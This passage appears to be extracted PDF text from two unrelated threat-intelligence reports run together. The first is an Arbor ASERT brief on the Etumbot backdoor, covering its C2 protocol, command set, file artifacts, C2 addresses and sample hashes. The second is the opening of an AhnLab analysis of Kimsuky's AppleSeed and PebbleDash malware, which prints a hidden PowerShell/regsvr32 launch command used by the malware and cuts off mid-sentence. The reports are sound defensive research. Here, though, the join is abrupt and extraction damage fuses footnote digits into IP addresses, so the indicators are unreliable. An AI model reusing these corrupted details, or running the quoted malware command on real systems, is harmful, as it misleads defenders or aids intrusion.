nhbXRxNTHlCEAlYBXhyTWdyQRcNBxskBRlRBn42HlhNbEtnJCk4QkIoDzRbEChGLi10ERpgZTpNNCJjKEUNOhh lcRR1DkwITMAYAleCDQdTVpTHGQbXwktTmROQiooaEtLLHcILTo4an08I1p9H2IPeBseLiUScQp3Xg-- .replace(_,/).replace(-,) c2_responsebase64.b64decode(c2_response) rc4_key c2_response[8:8c2_response[8:].find(\x00)] print rc4_key e65wb24n5 While a payload of 1080 bytes is sent back, the majority appears to be random padding. Once the bot has received the encryption key, the bot sends a registration callback to the CC /image/encrypted data.jpg containing the encrypted values of system information to include the NetBIOS name of the system, user name, IP address, if the system is using a proxy (Yes/No), and a numeric value which may be some type of campaign code. IXESHE malware has also been observed using a unique campaign code that is delivered back to the CC. [ 7] Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 6 Proprietary and Confidential Information of Arbor Networks, Inc. Etumbot discovers the proxy settings of the local machine. If a proxy is defined, communications to the CC bypass the proxy and go directly to the Internet. Environments with system-defined proxies wont get this activity in proxy logs, however transparent proxies may see this activity. A contrived example of this registration string generated by the Etumbot backdoor prior to encryption is as follows: WINXPBOXjohnsmith10.0.1.15No Proxy05147 A bot registration call to /image Once the bot has registered with the CC, it will send periodic pings to ask for new commands to execute. The URI for the ping requests is /history/encrypted NetBIOS name.asp, where encrypted NetBIOS name is the url-safe base64 encoding of the rc4-encrypted NetBIOS name. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 7 Etumbot Command Structure The first eight bytes of CC responses to the bot include the command, and the second eight bytes contain an ASCII string that is parsed. In the event of a file download, file upload, or command execution, the second eight bytes contain the filename or command to be executed. The parsing function inside the binary reveals at least five commands: Etumbot function Command name Internal code Execute arbitrary command ETUM_CMD_EXEC 3 Download file from CC ETUM_CMD_PUTFILE 4 Upload file from bot to CC ETUM_CMD_READFILE 5 Pause execution ETUM_CMD_SLEEP 7 Delete backdoor binary and terminate program ETUM_CMD_UNINSTALL 8 Ping the CC ETUM_CMD_PING 9 ETUM_CMD_EXEC provides the capability for the attacker to run any command on the compromised hosts. Both stdout and stderr from the command are redirected to a pipe and are then relayed back to the CC using a separate thread that spawned during initialization. In the event of a process creation or hang error, an HTTP transaction to /tech/s.asp/mmessage is sent to the CC, where message contains Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 8 Proprietary and Confidential Information of Arbor Networks, Inc. a create process error statement CreateProcess Error: d or a message that states Process Do not exit in 10 second, so i Kill it. Some samples of droppers have been observed using the string Process Do not cunzai in 10 second, so i Kill it. The word cunzai is likely the pinyin (romanization) for the Mandarin word exist. ETUM_CMD_PUTFILE provides the capability for files to be placed on local system from the CC. The file upload is accomplished by sending a request to /docs/namedata and the CC is expected to respond with the full contents of the file as the response payload. A success or failure status message is relayed via a call to /tech/s.asp?mencrypted status message with various reasons for failure potentially being relayed. ETUM_CMD_READFILE allows any file from the compromised system to be uploaded to the CC. When a READFILE command is received from the CC, the bot makes an initial call to /manage/asp/item.asp?idencrypted computer namemuxencrypted total file size and checks for the presence of Im Ready in the response from the CC. Data from the file is read in 2000 byte chunks, RC4 encrypted and then url-safe base64 encoded. The data is sent back to the CC via the URI /article/30441/Review.asp?idencoded computer namedatefile chunk data. The bot expects a message of OK from the CC after each response is sent and will terminate the upload and send an error message to the CC in the case it is not seen. A success or failure message is sent via the /tech/s.asp?mencrypted status message to complete or terminate the upload. ETUM_CMD_SLEEP puts the bot into a dormant state for a period of time. When a bot receives the sleep command, it will relay the message, I will sleep d minutes via a call to /tech/s.asp?mencrypted message. ETUM_CMD_UNINSTALL deletes the binary and terminates the process with no additional communication to the CC. Use of Byte Strings Technique (aka String Stacking) Etumbot uses a technique to load strings into memory that has been called byte strings and also string stacking whereby character values are loaded into a specific memory location one byte at a time. Assuming the string values do not change frequently, these byte strings can make for meaningful detection capabilities, such as discovering an unusual combination of characters (to include typos, unique or odd syntax) being loaded into memory that creates a unique fingerprint for the malware activity that can be used as part of a yara rule or other detection mechanism. The byte string technique has been observed in various Chinese APT malware, including Gh0st RAT, IXESHE malware, Etumbot and others. ASERT has provided an IDApython script that will provide for cleaner analysis of such strings as well as a corresponding blog entry that describes the obfuscation technique and code. [ 8-9] The output of running find_byte_strings.py on an Etumbot backdoor shows the string Im Ready which is involved in file transfer routines. The first screenshot shows the default hex byte values that are MOVed into offsets from EBP, and the second screenshot shows those same characters after translation to string values. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 9 Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 10 Proprietary and Confidential Information of Arbor Networks, Inc. Two additional screenshots provide insight into all of the strings discovered. The byte string technique has also been observed in other malware, so its presence alone does not specifically indicate the activities of Chinese threat actors. An interesting artifact occasionally observed during analysis is the presence of a numeric value just after an IP address used as a CC. The placement of this number after a colon suggests the use of a port value, however such a port value is too high to be valid. An example of this taken from an Etumbot sample performing an initial beacon is as follows: Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 11 Etumbot Backdoor Related File System Artifacts of Interest Filename Purpose Notes ka4281x3.log Temporary file for data exchange from CC Observed in various IXESHE malware variants as well as Etumbot. File is stored in C:\Windows\system32\, \Documents and Settings\username or elsewhere ka4a8213.log Temporary file for data exchange from CC Similar in format to the prior filename, this has only been observed in Etumbot samples. kb71271.log Temporary file for data exchange from CC, to include registry file Observed in various IXESHE malware variants as well as Etumbot DA5E74.doc DS5D64.doc t3fcjl.doc g4h710.doc gh4710.pdf trfai3.doc tresd2.xls taste3.doc tasyd3.xls tkfad1.xls Distraction documents Contains a variety of document content, often obtained from other sources that will be of interest to the target ntprint.exe conime.exe JavaSvc.exe serverupdate.exe wscnsvr.exe spoolvs.exe winlogdate.exe Backdoor binary The Etumbot backdoor binary itself which is added to the registry for persistent execution tst1.tmp tst2.tmp tst3.tmp Observed in IXESHE malware and Etumbot samples as well as in other malware. The file tst3.tmp is more popular than the other two file names and is used in a wider variety of malware Locations JAVA Directory created Created in \Documents and Settings\username\Application Data\ and also in root of C:\ directory Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 12 Proprietary and Confidential Information of Arbor Networks, Inc. Etumbot Command and Control Indicators Most instances of Etumbot that were analyzed connect directly to an IP address with the IP address hardcoded in the binary. These CCs were obtained from analyzing malware samples compiled over a period of several years. A number of these CC IP addresses are also used by IXESHE-related malware, which seems to indicate that Etumbot is often used in tandem with IXESHE. The domain finance[.]yesplusno[. ]com and IP address 211[. ]53.164.152 was also used by a variety of IXESHE samples, for instance. The registrant for the domain yesplusno[. ]com is listed as alice yoker with the email address chuni_fansina.com. Other domains registered in this name have also been used as CC for IXESHE: securezone[.]yesplusno[. ]com [10] prishmobile[.]googlesale[. ]net yahoopush[.]googlesale[. ]net The IP address 98.188.111.244 has also been used as a CC for multiple IXESHE samples, beginning in at least March 2013 and observed as recently as March 2014 with an Etumbot sample. This is the IP address for what appears to be a legitimate website for a school in Taiwan: intro.sunnyschool.com.tw. Note that if HTran or other connection bouncer is used, the CC may be a legitimate site that was simply compromised and used to direct traffic elsewhere. Miscellaneous Network Artifacts: Use of Htran Connection Bouncer Indicators suggest that HTran, a connection bouncer, is being used in some cases such as on the CC contacted by malware sample MD5: 1ce47f76fca26b94b0b1d74610a734a4 (compilation date March 12, 2014). The presence of HTran is based on the following response string [SERVER]connection to ss:dd error 1 IP address allocated to Hokkaido University 2 IPs allocated to Hong Kong University of Science and Technology 2 IPs allocated to Hong Kong University of Science and Technology 3 IP allocated to the University of Missouri 4 IP allocated to the University Saint-Louis of Senegal IP Address Domain Name Country 200.27.173.58 CL 200.42.69.140 AR 92.54.232.142 GE 133.87.242.631 JP 98.188.111.244 intro.sunnyschool.com.tw US 143.89.145.1562 HK 198.209.212.823 US 143.89.47.1322 HK 196.1.99.154 wwap.publiclol.com SN 59.0.249.11 KR 190.16.246.129 AR 211.53.164.152 finance.yesplusno.com KR Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 13 HTran is also called HUC Packet Transmit Tool, developed by a member of the Honker Union of China, a hacker group the source code for the program is available online. [ 11] HTran is designed to redirect TCP traffic intended for one host to another, and has been used by IXESHE malware previously. [ 2] Researchers at SecureWorks determined some years back that HTran would deliver the IP address of the final destination server if the final server were down or unreachable. The code in use here has been modified to not reveal such information. Organizations properly positioned with netflow or other traffic analysis capabilities may be able to locate upstream servers from HTran nodes that operate as the initial tier of CC. Htran activity can be detected with the following signature: ET CURRENT_EVENTS HTran/SensLiceld. A response to infected host The import hash for the sample observed connecting to an Htran bouncer is a9059c354e5025dfe4f1c0b8b57e4f62 which links to other Etumbot samples compiled with Microsoft Visual C 5.0 in a similar March 2014 timeframe: 4c703a8cfeded7f889872a86fb7c70cf 2014-03-24 ff5a7a610746ab5492cc6ab284138852 2014-03-04 Etumbot Campaign Timeline The following samples have been identified by ASERT as Etumbot malware. The first identified sample has a compilation date of March 2011, while the most recent was compiled in May 2014. Many droppers/installers contain Etumbot or, alternatively, IXESHE-related backdoors. Most of the documents dropped with Etumbot are written in traditional Chinese. Traditional Chinese (versus simplified Chinese used in mainland China) is most widely used in Taiwan. While other areas do make use of traditional Chinese (Hong Kong, Macau), the topics of the decoy documents strongly suggest that Taiwanese entities are the targets for many Etumbot samples. A recent increase in Etumbot samples with configuration dates of 2014 seems to indicate that the Numbered Panda/IXESHE group has increased activity lately or has begun using Etumbot more widely in targeted campaigns. 2011 ac22aa007081caeb8970aefba7eddfcf Compilation Date: 2011-03-09 14:10:34 CC: N/A Filename: Help statement from western U.S ? cod.scr Archive: HelpXstatementXfromXwesternXU.SX.rar (c2d667b8072aa2eaa670d4459dd7c90d) Dropped Files: workp.doc (7ec4ece7358f9f67a4d583777dc1fb59), ka4281x3.log, kb71271.log, WINCHAT.EXE (70424b91dc905e4ca5e4aeb1c62ed91f) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 14 Proprietary and Confidential Information of Arbor Networks, Inc. workp.doc: News article on recent Chilean earthquake (English) cd33c5467d425f662f57672531701d89 Compilation Date: 2011-03-14 02:49:22 CC: N/A Filename: N/A Dropped Files: workp.doc (731f288ebd8ff05b3a32377d9d7f4751), WINCHAT.exe (e62453f41af9d87b4f6d4e8223926024) workp.doc: Notice from TEPCO (Tokyo Electric Power Company) dated March 14 about emergency shortage and blackouts. ( Japanese) 04908c6853cb5c9d7dccaf15fb5fd3bb Compilation Date: 2011-03-24 03:24:42 CC: 32.114.251.129 (US), 217.119.240.118 (RS), 202.106.195.30 (CN) larry[.]yumiya[. ]com Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 15 Filename: N/A Dropped Files: workp.doc (4d47f52c675db16ab1e1df5ac050d3b8), ka4281x3.log, kb71271.log, WINCHAT.exe (47ee9a497a12272b50bb5e197935f13f) workp.doc: Investigation Results of several cases/laws involving the Ministry of National Defence (Traditional Chinese) 2012 232b659e28c5e06ad5466c01aec35cb6 Compilation Date: 2012-09-19 08:53:14 CC: 200.27.173.58 (CL) Filename: N/A Dropped Files: ka3157j.log, W3svc.exe (1e838fd06bcc64c54e75c527df164d91) 7a698acebcf19b55170f05388a2f7fe0 Compilation Date: 2012-10-12 01:21:11 CC: N/A Filename: N/A Dropped Files: ka3158jl.log, iexplore.exe (ac7f77cc55c964e400b8926f21bed7d2) 1e8fba674761371cb9e88962dcb851c0 Compilation Date: 2012-11-20 00:11:02 CC: 211.53.164.152 (KR), finance[.]yesplusno[. ]com Filename: N/A Dropped Files: PG7953.doc (adc0ffd684d9a986d65cb4efba39c3fe), ka3157jl.log, kb71271.log, iexplore.exe (37648553f4ee6c5cb712cca446340a9a) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 16 Proprietary and Confidential Information of Arbor Networks, Inc. PG7953.doc: qqqqqq 88653dde22f723934ea9806e76a1f546 Compilation Date: 2012-12-05 01:30:07 CC: 190.193.44.138 (AR), cht[.]strangled[. ]net Filename: N/A Dropped Files: N/A (this sample is a dropped backdoor) 2b3a8734a57604e98e6c996f94776086 Compilation Date: 2012-12-05 02:13:27 CC: 92.54.232.142 (GE) Filename: .doc .exe Dropped Files: DS5D64.doc (2454c4af0b839eb993dd1cbb92b2c10d), ka4281x3.log, conime.exe (3214bf22eb28e494b8e23d8ffc5ac4a9) DS5D64.doc: Form pertaining to unspecified investigation/case (Traditional Chinese) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 17 1498c9761fc819d496171c71604c2128 Compilation Date: 2012-12-11 02:26:18 CC: N/A Filename: cod.scr Dropped Files: DS5D64.doc (e8b92d20a9c4718b4f90d27cd8cba4b3), conime.exe (0bfb9f2080aeee22d3b4ca6fbfd25980) DS5D64.doc: Application to apply as a member of the Taiwan National Alliance (Traditional Chinese) 063b6076c69ce3ba4f116d1ad51da2b5 Compilation Date: 2012-12-12 01:26:54 CC: N/A Filename: N/A Dropped Files: PG7953.doc (c4af36f64d515569816263ca48f61899), ka3157jl.log, iexplore.exe (5b15664fb744c3f3cf7ec7b5515d2be5) PG7953.doc: Foreign Ministry: Security Operation Center Plan (Traditional Chinese) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 18 Proprietary and Confidential Information of Arbor Networks, Inc. 2013 ca838b98ca0f516858a8a523dcd1338d Compilation Date: 2013-07-25 07:48:29 CC: 143.89.145.156 (HK) Filename: N/A Dropped Files: g4h710.doc (729353afd095ca07940490dbb786ee33), ka4281x3.log, kb71271.log, JavaSvc.exe (36b42162c818cf6c2fb22937012af290) g4h710.doc: The 2013 Turning Point: Blazing a Trail for Taiwans Economy Conference at the Taipei International Convention Center 2013-07-30 (Traditional Chinese) 986937eb4052562cdd3960dd8fffc481 Compilation Date: 2013-07-30 08:22:06 CC: 200.42.69.140 (AR) Filename: N/A Dropped Files: g4h710.pdf (7cd7db8ff8071d590567c68ea0219f23), ka4281x3.log, kb71271.log, JavaSvc.exe (ee8ba3bef6a607af79405e75fb0f0d6f) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 19 g4h710.pdf: the Industrial Technology Research Institute (Taiwan), 2013 Cross Strait Communication Industry Cooperation and Exchange Meeting (2013-07-15) (Traditional Chinese) 5ef508d0ca7759ecf602192521fff287 Compilation Date: 2013-08-01 00:47:08 CC: 200.42.69.140 (AR) Filename: N/A Dropped Files: t4hhk0.pdf (6b7cbcabd963ee4823dd2cd9daa5fcc7), ka4281x3.log, kb71271.log, JavaSvc.exe (ee8ba3bef6a607af79405e75fb0f0d6f) t4hhk0.pdf: Cross Straits Strategic Emerging Industry Cooperation and Development Forum (2013-08-14) (Traditional Chinese) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 20 Proprietary and Confidential Information of Arbor Networks, Inc. 2014 ff5a7a610746ab5492cc6ab284138852 Compilation Date: 2014-03-04 00:19:59 CC: 98.188.111.244 (US) Filename: WTOXPiii20140303 _slx.scr Dropped Files: t3fcj1.doc (361a6752766c154c6e31a4d9cc3a3fdc), kb71271.log, ka4281x3.log, JavaSvc.exe (82d4850a02375a7447d2d0381b642a72) t3fcj1.doc 1ce47f76fca26b94b0b1d74610a734a4 Compilation Date: 2014-03-12 01:38:44 CC: 133.87.242.63 (JP) Filename: APO EPIF rcs.xls Dropped Files: tresd2.xls (2e073d35934bb3920fe9907ccb7bc5f8), ka4281x3.log, kb71271.log, wscnsvr.exe (deeec10be746ecf9bf46a30bf58bc784) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 21 tresd2.xls: International Green Fair (EPIF), held in Taiwan March 13-16, 2014 (Traditional Chinese) 4c703a8cfeded7f889872a86fb7c70cf Compilation Date: 2014-03-24 00:53:57 CC: 133.87.242.63 (JP) Filename: 1030324 1 finalrcs.xls Archive: .rar (9b42968e9a7646feb7db318713271718) Dropped Files: t3fcj1.xls (18dc518810892d89430a1efe2c71797e), ka4a8213.log, kb71271.log, serverupdate.exe (fed7ce0d20e78b5814475d8f9d062c80) t3fcj1.xls: Filename (Traditional Chinese) pertains to a Taiwan National Development Council meeting, document is unreadable Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 22 Proprietary and Confidential Information of Arbor Networks, Inc. beb16ac99642f5c9382686fd8ee73e00 Compilation Date: 2014-03-31 07:34:00 CC: 143.89.47.132 (HK) Filename: 10342- rcs.xls Dropped Files: tkfad1.xls (eef5f9b46676b31a791216b42360c8bb), ka4a8213.log, kb71271.log, Googleupdate.exe (e7d960060d602deb53c7d49d2002c4a4) tkfad1.xls: Filename (Traditional Chinese) pertains to April 2 meeting of unnamed Commission about financial regulation amendments. Document format is unreadable 5340fcfb3d2fa263c280e9659d13ba93 Compilation Date: 2014-04-23 01:23:41 CC: 196.1.99.15 (SN), wwap[.]publiclol[. ]com Filename: Finarcs.xls Dropped Files: tasyd3.xls (c5118ba47b7aa12d6524f648f1623cc1), ka4a8213.log, kb71271.log, winlogdate.exe (ba4f88fe44d02a299dbeab18c37f74f3) tasyd3.xls: Filename price list (Traditional Chinese). Document format is unreadable. Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 23 a6b4b679a51627ce279d5107c20dd078 Compilation Date: 2014-04-29 03:44:19 CC: 59.0.249.11 (KR) Filename: spoolv.exe Dropped Files: N/A (this sample is a dropped backdoor) d444be30d2773b23de38ead1f2c6d117 Compilation Date: 2014-05-14 13:34:46 CC: 198.209.212.82 (US) Filename: 1030522 rcs. DOC Archive: 1030522.7z (75193fc10145931ec0788d7c88fc8832) Dropped Files: trfai3.doc (196ae8d6a5d19737ae6975d047ab1d59), ka4a8213.log, kb71271.log, sysupdate.exe (86ef188537f5e4637df24336c9b21cb0) trfai3.doc: List of Convener, Deputy Convener, and Executive Secretary names for various government departments (Traditional Chinese) b3830791b0a397bea2ad943d151f856b Compilation Date: 2014-05-14 08:16:41 CC: 198.209.212.82 (US) Filename: Finarcs.doc Archive: .rar (8629b95f9e0898793e0881a8f79ee0cf) Dropped Files: taste3.doc (aeaf1e78c2082644b122bf32803acb1f), ka4a8213.log, kb71271.log, spoolvs.exe (5eba8ced8656da865f91d5fc87e8dc74) Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 24 Proprietary and Confidential Information of Arbor Networks, Inc. taste3.doc: Sun Yat-Sen University (Taiwan) purchase list, items include Cisco3045E/K9 or equivalent (Traditional Chinese) List of Identified Etumbot MD5s ca838b98ca0f516858a8a523dcd1338d 986937eb4052562cdd3960dd8fffc481 5ef508d0ca7759ecf602192521fff287 d08c54ed480c9cd8b35eab2f278e7a28 82d4850a02375a7447d2d0381b642a72 4c703a8cfeded7f889872a86fb7c70cf 063b6076c69ce3ba4f116d1ad51da2b5 232b659e28c5e06ad5466c01aec35cb6 1e8fba674761371cb9e88962dcb851c0 7a698acebcf19b55170f05388a2f7fe0 ff5a7a610746ab5492cc6ab284138852 cd33c5467d425f662f57672531701d89 1ce47f76fca26b94b0b1d74610a734a4 ac22aa007081caeb8970aefba7eddfcf 1498c9761fc819d496171c71604c2128 2b3a8734a57604e98e6c996f94776086 9b42968e9a7646feb7db318713271718 04908c6853cb5c9d7dccaf15fb5fd3bb d444be30d2773b23de38ead1f2c6d117 86ef188537f5e4637df24336c9b21cb0 e7d960060d602deb53c7d49d2002c4a4 5340fcfb3d2fa263c280e9659d13ba93 a6b4b679a51627ce279d5107c20dd078 88653dde22f723934ea9806e76a1f546 b3830791b0a397bea2ad943d151f856b beb16ac99642f5c9382686fd8ee73e00 Arbor Security Report: ASERT Threat Intelligence Brief 2014-07 Copyright 2013 Arbor Networks, Inc. All rights reserved. 25 References [1] http://www.crowdstrike.com/blog/whois-numbered-panda/ [2] http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf [3] http://www.symantec.com/security_response/writeup.jsp?docid2013-080921-5219-99tabid2 [4] https://blog.commtouch.com/cafe/malware/exe-read-backwards-spells-malware/ [5] http://threatpost.com/sirefef-malware-found-using-unicode-right-to-left-override-technique/102033 [6] http://blog.malwarebytes.org/online-security/2014/01/the-rtlo-method/ [7] http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve- quickly.html [8] https://github.com/arbor/reversing/blob/master/find_byte_strings.py [9] http://www.arbornetworks.com/asert/2013/07/asert-mindshare-finding-byte-strings-using-idapython/ [10] https://www.symantec.com/security_response/writeup.jsp?docid2014-011500-2419-99tabid2 [11] http://read.pudn.com/downloads199/sourcecode/windows/935255/htran.cpp__.htm About ASERT The Arbor Security Engineering Response Team (ASERT) at Arbor Networks delivers world-class network security research and analysis for the benefit of todays enterprise and network operators. ASERT engineers and researchers are part of an elite group of institutions that are referred to as super remediators, and represent the best in information security. This is a reflection of having both visibility and remediation capabilities at a majority of service provider networks globally. ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response Teams (CERTs) and with thousands of network operators via intelligence briefs and security content feeds. ASERT also operates the worlds largest distributed honeynet, actively monitoring Internet threats around the clock and around the globe via ATLAS, Arbors global network of sensors: http://atlas.arbor.net. This mission and the associated resources that Arbor Networks brings to bear to the problem of global Internet security is an impetus for innovation and research. To view the latest research, news, and trends from Arbor, ASERT and the information security community at large, visit our Threat Portal at http://www.arbornetworks.com/threats/. AhnLab Cyber Threat Intelligence Report Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) AhnLab Security Emergency response Center (ASEC) November 16th, 2021 TLP: AMBER TLP: GREEN Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 2 Guide on Document Classification Publications or provided content can only be used within the scope allowed for each classification as shown below. Classification Distribution Targets Notices Reports only provided for certain clients and tenants Documents that can be only accessed by the recipient or the recipient department Cannot be copied or distributed except by the recipient Reports only provided for limited clients and tenants Can be copied and distributed within the recipient organization (company) of reports Must seek permission from AhnLab to use the report outside the organization, such as for educational purposes Reports that can be used by anyone within the service Can be freely used within the industry and utilized as educational materials for internal training, occupational training, and security manager training Strictly limited from being used as presentation materials for the public Reports that can be freely used Cite source Available for commercial and non-commercial uses Can produce derivative works by changing the content Remarks If the report includes statistics and indices, some data may be rounded, meaning that the sum of each item may not match the total. This report is protected by copyright law and as such, reprinting and reproducing it without permission is prohibited in all cases. Seek permission from AhnLab in advance if you wish to use a part or all of the report. If you reprint or reproduce the material without the permission of the organization mentioned above, you may be held accountable for criminal or civil liability. TLP: AMBER TLP: RED TLP: GREEN TLP: WHITE Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 3 The version information of this report is as follows: Version Date Details 0.1 November 16th, 2021 Analysis Report on Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) created 0.2 November 16th, 2021 Added content 0.3 November 19th, 2021 Added content and fixed typos CAUTION This report contains a number of opinions given by the analysts based on the information that has been confirmed so far. Each analyst may have a different opinion and the content of this report may change without notice if new evidence is confirmed. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 4 Table of Contents Overview .............................................................................................................................................................. 6 1. Distribution method .......................................................................................................................................... 6 1.1. Script ......................................................................................................................................................... 7 1.2. Executable File (pif) ................................................................................................................................ 10 1.2.1. Thread 1 ........................................................................................................................................ 11 1.2.2. Thread 2 ........................................................................................................................................ 11 1.2.3. Thread 3 ........................................................................................................................................ 16 1.2.4. Thread 4 ........................................................................................................................................ 16 1.3. Additional Script ...................................................................................................................................... 16 1.3.1. Primary Script .................................................................................................................................. 16 1.3.2. Secondary Script ............................................................................................................................. 17 2. Analysis of Downloader Malware .................................................................................................................. 18 2.1. Downloader ............................................................................................................................................. 19 2.1.1. Install Process ................................................................................................................................. 19 2.1.2. Downloader Behavior ...................................................................................................................... 20 3. Analysis of AppleSeed ................................................................................................................................... 21 3.1. Analysis of Default Features ................................................................................................................... 23 3.1.1. Initial Routine ................................................................................................................................... 23 3.1.2. Installation ........................................................................................................................................ 24 3.1.3. Privilege Escalation ......................................................................................................................... 26 3.1.4. Thread ............................................................................................................................................. 26 3.2. Analysis of Info-stealing Feature ............................................................................................................ 30 3.2.1. Information Theft.............................................................................................................................. 31 3.2.2. Additional Commands ..................................................................................................................... 34 3.3. CC Communication Using Emails ........................................................................................................ 35 3.3.1. Ping Thread (SMTP) ........................................................................................................................ 36 3.3.2. Command Thread (IMAP) ............................................................................................................... 36 4. Analysis of PebbleDash ................................................................................................................................. 38 4.1. Analysis of Initial PebbleDash ................................................................................................................ 39 4.1.1. Initial Routine ................................................................................................................................... 39 4.1.2. Recovering Settings Data ................................................................................................................ 42 4.1.3. CC Communications ..................................................................................................................... 45 4.1.4. Performing Commands .................................................................................................................... 49 4.2. Analysis of Latest PebbleDash ............................................................................................................... 51 4.2.1. Initial Routine ................................................................................................................................... 51 4.2.2. Recovering Settings Data ................................................................................................................ 53 4.2.3. CC Communications ..................................................................................................................... 54 4.2.4. Performing Commands .................................................................................................................... 57 5. Post Infection ................................................................................................................................................. 58 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 5 5.1. Remote Control....................................................................................................................................... 58 5.1.1. Meterpreter ...................................................................................................................................... 58 5.1.2. HVNC (TinyNuke) ............................................................................................................................ 60 5.1.3. TightVNC ......................................................................................................................................... 63 5.1.4. RDP Wrapper .................................................................................................................................. 64 5.2. RDP Related ........................................................................................................................................... 64 5.2.1. Adding RDP User ............................................................................................................................ 64 5.2.2. RDP Patcher .................................................................................................................................... 64 5.3. Privilege Escalation ................................................................................................................................ 65 5.3.1. UACMe ............................................................................................................................................ 65 5.3.2. CVE-2021-1675 Vulnerability .......................................................................................................... 67 5.4. Collecting Information ............................................................................................................................. 69 5.4.1. Mimikatz ........................................................................................................................................... 69 5.4.2. Collecting Chrome Account Credentials .......................................................................................... 70 5.4.3. Keylogger ......................................................................................................................................... 70 5.5. Others ..................................................................................................................................................... 71 5.5.1. Proxy Malware ................................................................................................................................. 71 AhnLabs Response ........................................................................................................................................... 72 Conclusion ......................................................................................................................................................... 75 IOC (Indicators Of Compromise) ....................................................................................................................... 75 File Path and Name ....................................................................................................................................... 75 File Hashes (MD5) ......................................................................................................................................... 77 Related Domain, URL, and IP Address ......................................................................................................... 83 Reference .......................................................................................................................................................... 87 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 6 Overview This document is an analysis report on types of malware recently utilized by the Kimsuky group. The Kimsuky group is mainly known for launching social engineering attacks, such as spear phishing. Judging by the names of the attached files, the group seems to be targeting those working in the fields related to North Korea and foreign affairs. According to the scan logs of AhnLabs ASD infrastructure, the threat group has been mainly targeting individual users rather than companies, but has also been continuously attacking public institutions and companies. Korean universities have been one of their major targets, but records exist of them attacking IT, information and communications, and construction institutions as well. Normally, malware strains assumed to be attachments of spear phishing attack emails are disguised as document files. If a user executes the file, malware of this type executes the document that corresponds to the disguised file name and tricks the user into thinking that they have opened a normal file. It installs additional malware strains at the same time, mainly AppleSeed and PebbleDash. AppleSeed has been present since 2019 and when compared to other malware strains based on the IOCs organized by AhnLab, it takes up a significant portion due to being used in various other attacks. PebbleDash is one of the NukeSped variants, known for having been used by the Lazarus group since the past. Recently, it has been found that a new variant is being used for attacks along with AppleSeed. They are both backdoors used by the Kimsuky group that can stay in the system and perform malicious behaviors by receiving commands from the attacker. The attacker can use backdoor to install another remote control malware, such as Meterpreter and HVNC. The attacker can also install various other types of malware for privilege escalation and account credential theft. This report will analyze the overall flow of attacks using AppleSeed and PebbleDash, starting from malware strains that are initially distributed. As both malware types are not confined to a single form, this report will compare each type and focus on similarities and differences, and also explain in detail other types of malware that the two malware additionally install. 1. Distribution method Lately, the Kimsuky group has been mainly distributing malware via spear phishing email attachments. Malware that creates AppleSeed or PebbleDash is usually disguised as a document file, such as pdf, docx, and hwp. These malware strains take a disguise of document files that discuss current affairs, such as diplomacy, defense, and COVID-19. However, the attacker does use other file types, such as jpg image or specific dat depending on the attack target. The files thought to be attached to spear phishing emails the initial distribution filesall have either an executable file or script format. The script file is a wsf or js format malware, which creates and executes a normal document file that corresponds to the disguised name when it is run to make the user think that a normal document file has been opened. The executable is the same as the script file in terms of its distribution method and behaviors. One thing to note is that the file is distributed in PIF extensions. Both the script and the executable show normal document files upon being executed and installed internally encoded malware into the system. When backdoors, such as AppleSeed or PebbleDash, are installed successfully, they can communicate with the CC server afterward to steal information about the user environment or install additional malware. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 7 1.1. Script Samples distributed in the script form can all be executed immediately on Windows. Upon being executed, they create and run AppleSeed malware and normal document files. The confirmed samples take the form of JS or WSF file, as shown in Figure 1. They have different extensions but are functionally the same, as each is configured in the same JS code. Figure 1. WSF (left) and JS sample (right) The samples can also be divided into two types depending on the method of code implementation. Figure 1 shows samples that declare function at the start because they have features, such as decoding, auto- delete, and file deletion, implemented as separate functions. Figure 2 shows another sample that makes no use of functions and starts with the try - catch statement. Figure 2. Sample without functions Both types essentially perform the same behaviors. Decoding the Base64-encoded data yields AppleSeed malware and a normal document file. The malware creates two files in a particular path and executes them. - Command: powershell.exe -windowstyle hidden regsvr32.exe /s [AppleSeed malware path] For Base64 decoding, the samples with functions use a method of running Powershell command, and samples that do not declare functions use certutil.exe to decode the file, as shown in Figure 3. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 8 Figure 3. Decoding using certutil.exe Some samples may additionally access a particular URL as shown in Figure 4. It appears that the samples do so to report the infection status. Figure 4. Accessing URL to report infection The name of the normal document file created in the process above is similar to the 